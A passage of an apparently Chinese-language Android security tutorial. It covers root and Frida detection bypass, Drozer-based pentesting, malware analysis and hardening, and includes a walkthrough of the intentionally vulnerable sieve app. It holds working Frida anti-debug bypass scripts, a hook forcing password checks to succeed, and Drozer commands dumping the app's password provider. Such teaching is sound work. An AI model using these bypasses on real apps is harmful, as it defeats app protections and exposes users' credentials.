隐式 Intent 传递敏感数据可被第三方应用劫持,敏感动作应使用显式 Intent。

9.6 硬编码密钥

smali 复制代码
const-string v0, "AES/ECB/PKCS5Padding"
const-string v1, "1234567890abcdef"

逆向时全局搜索 const-string 中的 Base64、Hex、疑似密钥串,结合 CipherMacMessageDigest 调用点判断用途。

9.7 完整漏洞利用集

text 复制代码
反编译 → 搜索const-string敏感串 → 定位加密算法 → 还原密钥/IV
  → 解密通信数据 → 构造WebView PoC验证RCE → SQL注入测试
  → 组件越权调用 → 文件泄露验证 → 输出漏洞报告

十、Android Root检测与绕过

商业应用普遍集成 Root 检测、Frida 检测,绕过检测是动态分析的前置条件。

10.1 Root检测方法

检测方式 实现要点 绕过思路
su 文件检查 遍历 which su 及常见路径 Hook File.exists
系统属性 getprop ro.build.tags=test-keys Hook SystemProperties.get
包名检查 检测 Magisk/SuperSU 包名 Hook PackageManager
Magisk 检测 扫描 /sbin/magisk/data/adb/magisk Magisk Hide/Zygisk
SELinux 状态 读取 /sys/fs/selinux/enforce 伪造读取
ro.debuggable getprop ro.debuggable Hook 属性
RootBeer 库 综合多项检测 针对性 Hook

10.2 Frida检测方法

检测方式 实现 绕过
端口检测 扫描 27042 默认端口 frida-server 改端口
线程名检测 遍历 /proc/self/taskgum-js-loop 改线程名
SO 文件检测 扫描 maps 找 frida-agent 重命名 SO
Maps 检查 读取 /proc/self/maps 查 frida Hook open/fopen
D-Bus 检测 向 27042 发 D-Bus 探测 改协议或端口

10.3 SafetyNet与Play Integrity

Google 的硬件背书检测,服务端校验,单纯本地 Hook 难以绕过。SafetyNet 已逐步被 Play Integrity 取代。绕过思路:Hook SafetyNetClientIntegrityManager 的结果回调,或使用 Magisk 模块(如 Shamiko)配合 Trident/SNET 方案;服务端严格校验时需真实通过环境。

10.4 Root绕过方案

方案 工具 适用
Magisk Hide Magisk 早期方案,已弃用
Zygisk Magisk + Zygisk 主流,按进程隐藏
Shamiko Zygisk 模块 隐藏 Magisk root
LSPosed Xposed 框架 模块化 Hook 检测
Frida 脚本 通用 临时绕过单点检测

10.5 Frida隐藏

bash 复制代码
# 修改 frida-server 端口与名称
mv frida-server fridas
./fridas -l 0.0.0.0:8888
# 客户端连接指定端口
frida -H 127.0.0.1:8888 -U -f com.example.app -l hook.js
# frida-gadget 重打包嵌入
objection patchapk -s com.example.app

反反调试脚本示例:

javascript 复制代码
// 绕过 /proc/self/maps 检测
Interceptor.attach(Module.findExportByName("libc.so", "open"), {
    onEnter: function (args) {
        var path = Memory.readCString(args[0]);
        if (path.indexOf("/proc/") !== -1 && path.indexOf("maps") !== -1) {
            // 重定向到伪造文件
        }
    }
});
// 绕过 ptrace 反调试
Interceptor.attach(Module.findExportByName("libc.so", "ptrace"), {
    onLeave: function (retval) { retval.replace(0); }
});

10.6 完整检测绕过方案

text 复制代码
Magisk+Zygisk+Shamiko隐藏root → frida-server改名改端口 → 反反调试脚本
  → Hook关键检测点 → objection root disable → 真机/云手机规避Play Integrity

十一、移动应用渗透测试

11.1 OWASP MASVS测试分类

类别 MASVS 编号 关注点
架构/设计 MASVS-ARCH 安全设计、威胁建模
数据存储 MASVS-STORAGE 本地数据加密、日志
密码学 MASVS-CRYPTO 算法选择、密钥管理
网络通信 MASVS-NETWORK TLS、Pinning、证书
平台交互 MASVS-PLATFORM WebView、组件、IPC
代码质量 MASVS-CODE 硬编码、调试、混淆
认证 MASVS-AUTH 会话、令牌、生物识别
会话管理 MASVS-SESSION 超时、注销、固定

11.2 移动测试checklist

类别 检查项
数据存储 敏感数据加密存储;SharedPreferences 无明文;数据库加密;不写入日志;剪贴板不存敏感信息;备份关闭
密码学 不使用 ECB;随机数用 SecureRandom;密钥存 Keystore;不硬编码密钥;IV 不固定
网络 强制 HTTPS;Pinning 生效;不忽略证书错误;无明文传输;证书校验完整
组件 exported 必要性;权限保护;Intent 校验;Provider 权限;隐式 Intent 风险
WebView JS 桥接最小化;file 域关闭;忽略 SSL 错误处理;targetSdk 足够高
认证 密码强度;锁定策略;令牌有效期;会话注销;生物识别绑定
代码质量 debuggable 关闭;allowBackup 关闭;混淆启用;签名校验;完整性校验
反逆向 Root 检测;Frida 检测;调试检测;加壳;反 Hook
隐私 权限最小化;隐私政策;数据采集告知;第三方 SDK 合规;数据出境

11.3 测试工具集

工具 用途 平台
Burp Suite 抓包、协议分析 PC
Drozer 组件/IPC 测试 PC+设备
Frida 动态 Hook PC+设备
objection 自动化分析 PC+设备
MASTG 测试指南与脚本 PC
MobSF 静态/动态自动分析 PC
QARK 静态漏洞扫描 PC
APKTool/JADX 逆向 PC
IDA/Ghidra Native 逆向 PC
nuclei 模板化漏洞检测 PC

11.4 Drozer使用指南

bash 复制代码
# 启动 agent
adb forward tcp:31415 tcp:31415
drozer console connect

常用命令:

text 复制代码
dz> run app.package.info -a com.example.app        # 应用信息
dz> run app.package.attacksurface com.example.app  # 攻击面
dz> run app.activity.info -a com.example.app       # Activity 列表
dz> run app.activity.start --component com.example.app .LoginActivity  # 启动组件
dz> run app.service.info -a com.example.app        # Service 列表
dz> run app.provider.finduri com.example.app       # 查找 Provider URI
dz> run scanner.provider.injection -a com.example.app  # SQL 注入扫描
dz> run app.broadcast.info -a com.example.app       # 广播列表
dz> run app.broadcast.send --action com.example.ACTION  # 发送广播

11.5 完整渗透测试流程

text 复制代码
信息收集 → 攻击面分析(Drozer) → 逆向(APKTool/JADX) → Manifest审计
  → 组件测试(Drozer) → 抓包(Burp) → SSL绕过 → 协议分析
  → 动态Hook(Frida) → 漏洞验证 → 风险评估 → 报告输出

十二、Android恶意软件分析

12.1 恶意行为分类

类型 行为 典型权限
短信劫持 拦截/转发短信、拦截验证码 READ_SMS, RECEIVE_SMS
通讯录窃取 上传通讯录、通话记录 READ_CONTACTS, READ_CALL_LOG
银行木马 覆盖界面、窃取凭据 SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY
勒索软件 加密文件、锁屏勒索 DEVICE_ADMIN, SYSTEM_ALERT_WINDOW
广告欺诈 后台点击、隐藏图标 INTERNET, WAKE_LOCK
挖矿木马 算力窃取 INTERNET, WAKE_LOCK
Root 提权 利用漏洞获取 root 内核 exploit
僵尸网络 C2 控制组网 INTERNET, RECEIVE_BOOT_COMPLETED

12.2 权限滥用分析

重点检查敏感权限组合:RECEIVE_SMS + INTERNET(短信外传)、SYSTEM_ALERT_WINDOW + BIND_ACCESSIBILITY(银行木马)、DEVICE_ADMIN + RECEIVE_BOOT_COMPLETED(持久化勒索)。

12.3 C2通信检测

信道 特征 检测
HTTP/HTTPS 明文或加密请求 抓包、JA3 指纹
DNS DNS 隧道、DGA DNS 日志分析
GCM/FCM 推送指令 Hook FirebaseMessagingService
Firebase 实时数据库指令 监控数据库监听

12.4 动态行为监控

沙箱方案:Cuckoo Sandbox、MobSF 动态分析、自建 Frida 监控脚本。监控点包括网络请求、文件读写、短信收发、反射调用、动态加载、JNI 调用。

12.5 混淆与加壳分析

加固方案 特征 脱壳思路
DexGuard 字符串加密、类加密 内存 dump dex
梆梆/360/腾讯 类抽取、VMP Fart/dexdump 内存脱壳
自实现加壳 SO 解密 dex Hook DefineClass/DexFile

脱壳工具:FRIDA-DEXDump、Fart、BlackDex、Youpk。原理均为在 dex 加载到内存后 dump。

12.6 完整恶意软件分析流程

text 复制代码
隔离环境 → 静态扫描(VirusTotal) → 逆向提取行为 → 权限分析 → Manifest审计
  → 沙箱动态运行 → 网络流量捕获 → C2定位 → 加壳检测 → 脱壳 → 行为还原 → 报告

十三、Android安全加固与防御

13.1 代码混淆方案

方案 类型 特点
ProGuard 开源混淆 类/方法/字段重命名,优化
R8 开源混淆 替代 ProGuard,含 shrinking
DexGuard 商业 字符串加密、类加密、反调试
梆梆加固 商业壳 DEX 加密、VMP、反调试
360 加固 商业壳 类抽取、SO 加固
腾讯乐固 商业壳 DEX 加密、防截屏
爱加密 商业壳 DEX/SO 双保护

13.2 加壳原理

加壳流程:DEX 加密打包 → 运行时 SO 解密 → 动态加载原始 DEX → DefineClass 注册。反调试通过 ptrace 自附加、检测调试器、检测 Frida 线程实现。

13.3 反调试与反Hook

技术 实现
ptrace 自附加 ptrace(PTRACE_TRACEME) 阻止其他调试器
调试器检测 读取 /proc/self/status 的 TracerPid
Frida 线程检测 遍历 /proc/self/taskgum-js-loop
端口检测 扫描 27042
时间检测 关键函数计时,调试时明显变慢
签名校验 运行时比对签名 hash
完整性校验 校验 classes.dex 的 SHA-1

13.4 完整性校验

java 复制代码
// 签名校验
public boolean verifySignature(Context ctx) {
    try {
        PackageManager pm = ctx.getPackageManager();
        PackageInfo info = pm.getPackageInfo(ctx.getPackageName(), PackageManager.GET_SIGNATURES);
        Signature sig = info.signatures[0];
        String hash = md5(sig.toByteArray());
        return "已知hash".equals(hash);
    } catch (Exception e) { return false; }
}

Dex 校验通过比对 classes.dex 的 SHA-1 与预存值,防止重打包篡改。建议将校验下沉到 Native,增加逆向难度。

13.5 安全SDK集成

主流安全 SDK:腾讯御安全、阿里聚安全、360 加固保、爱加密、网易易盾、梆梆安全。集成时关注反调试、反 Hook、反截屏、键盘安全、传输加密、签名校验等模块覆盖度。

13.6 完整加固方案

text 复制代码
代码混淆(R8) → DEX加壳(梆梆/360) → SO加固(VMP) → 反调试(Native)
  → 反Frida(端口/线程/maps检测) → 签名校验(Native) → 完整性校验
  → Root检测 → 截屏防护 → 通信加密(国密/定制协议) → 隐私合规

十四、靶场实战:完整Android渗透流程

14.1 靶场选择

靶场 类型 特点
DVHMA 故意漏洞应用 覆盖 OWASP Top 10
sieve 密码管理器 经典存储/组件漏洞
MASTG 应用 官方示例 含 RSA Pinning、Root 检测
DIVA 漏洞应用 覆盖常见漏洞类别
自建应用 自定义 可控难度与场景

14.2 完整渗透流程演示

以 sieve 为例,从零到漏洞利用。

第一步,反编译:

bash 复制代码
apktool d sieve.apk -o sieve_out
jadx -d sieve_jadx sieve.apk

第二步,Manifest 审计:

bash 复制代码
# 查找导出组件
grep "exported=\"true\"" sieve_out/AndroidManifest.xml
# 发现 com.mwr.example.sieve.PWList exported=true 无权限保护

第三步,Drozer 组件测试:

text 复制代码
dz> run app.package.attacksurface com.mwr.example.sieve
dz> run app.activity.info -a com.mwr.example.sieve
dz> run app.service.info -a com.mwr.example.sieve
dz> run app.provider.finduri com.mwr.example.sieve
# 发现 ContentProvider com.mwr.example.sieve.DBContentProvider
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/passwords/

第四步,Frida Hook 关键方法:

javascript 复制代码
Java.perform(function () {
    var Login = Java.use("com.mwr.example.sieve.LoginActivity");
    Login.checkPW.implementation = function (k) {
        var ret = this.checkPW(k);
        console.log("checkPW input=" + k + " ret=" + ret);
        return true;
    };
});

第五步,SSL Pinning 绕过:

text 复制代码
objection -g com.mwr.example.sieve explore
objection> android sslpinning disable

第六步,漏洞利用:

text 复制代码
# 利用导出 Provider 读取密码库
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/keys
# 利用导出 Activity 越权
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

第七步,Root 检测绕过:

text 复制代码
objection> android root disable

14.3 流程要点

每个环节保留日志与截图,记录漏洞的触发条件、危害等级、复现命令与修复建议。靶场练习应覆盖静态逆向、组件测试、动态 Hook、协议分析、绕过检测等全链路,再迁移到真实授权项目。

十五、总结与参考资源

15.1 Android安全检查清单

维度 检查要点
架构 安全设计、威胁建模、最小权限原则
存储 敏感数据加密、不存明文、备份关闭、日志无敏感
密码学 Keystore、无硬编码、参数化 IV、安全随机
网络 强制 HTTPS、Pinning、证书校验
组件 exported 必要性、权限保护、Intent 校验
WebView JS 桥最小化、file 域关闭、忽略 SSL 错误
代码 混淆、debuggable 关闭、完整性校验
反逆向 Root/Frida 检测、加壳、反调试
隐私 权限最小化、告知同意、第三方 SDK 合规

15.2 Frida脚本速查

场景 关键 API
Java 方法 Hook Java.use().method.implementation
方法重载 overload("types")
内部类 Outer$Inner
Native 导出 Module.findExportByName
Native 偏移 Module.findBaseAddress().add(off)
调用栈 Thread.backtrace
内存读 ptr.readCString, hexdump
强制返回 implementation = function(){return x}
监控所有方法 遍历 class.getDeclaredMethods()
动态加载 Hook DexClassLoader.loadClass

15.3 工具速查

工具 命令/用途
APKTool apktool d/b 反编译/重打包
JADX jadx -d out apk 反编译
apksigner apksigner sign/verify 签名
frida frida -U -f pkg -l js
frida-trace frida-trace -U -i "func"
objection objection -g pkg explore
Drozer dz> run app.package.attacksurface
IDA F5 反编译,G 跳转,X 交叉引用
MobSF 自动化静态/动态分析

15.4 学习资源

资源 说明
OWASP MASVS 移动应用安全验证标准
OWASP MASTG 移动应用安全测试指南
Frida 官方文档 frida.re/docs
objection 文档 github.com/sensepost/objection
《Android软件安全权威指南》 丰生强著
《Android安全攻防权威指南》 Joshua J. Drake 等
《ARM汇编逆向开发》 Native 逆向基础
BlackHat/DEFCON 议题 前沿漏洞研究

15.5 参考资源

项目 地址
OWASP MASVS owasp.org/masvs
OWASP MASTG owasp.org/mastg
Frida frida.re
objection github.com/sensepost/objection
DexHunter DEX 脱壳工具
FRIDA-DEXDump 内存脱壳
MobSF github.com/MobSF/Mobile-Security-Framework-MobSF
Drozer github.com/FSecureLabs/drozer
MASTG 应用集 github.com/OWASP/owasp-mastg

【提示】 本文所述所有技术仅限授权测试与学习研究使用。未经授权对他人应用进行逆向、Hook、渗透测试属于违法行为,可能触犯《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关刑法条款。请在合法授权范围内开展安全研究,共同维护网络空间安全。

相关推荐
计算机魔术师1 小时前
芯片不跌反涨?两家公司的赌局正在重塑全球算力格局
前端
Multipath7121 小时前
多链路聚合设备的大型户外活动的通信保障方案
大数据·运维·网络·5g·安全
雨声不在1 小时前
mitmdump Android 抓包
android
心平气和量大福大1 小时前
android-实例2-数据库sqlite(查询)
android·数据库·sqlite
发量惊人的中年网工1 小时前
游戏开服就被DDoS攻击怎么办?开服7分钟服务器被打穿的复盘与防护清单
运维·服务器·网络·安全·游戏
IT_陈寒1 小时前
Python多进程池的坑:子进程竟然不会退出
前端·人工智能·后端
snow@li1 小时前
前端:全景深度分析/前端岗位起源,以及“美国没有前端岗位”的真相
前端
时代分流1 小时前
云手机推荐2026:安卓全能、批量挂机、原生iOS全覆盖
android·ios·智能手机
恋猫de小郭1 小时前
Gradle 9.7.0 将提速 Android 构建,Sync 提升接近一倍
android·前端·flutter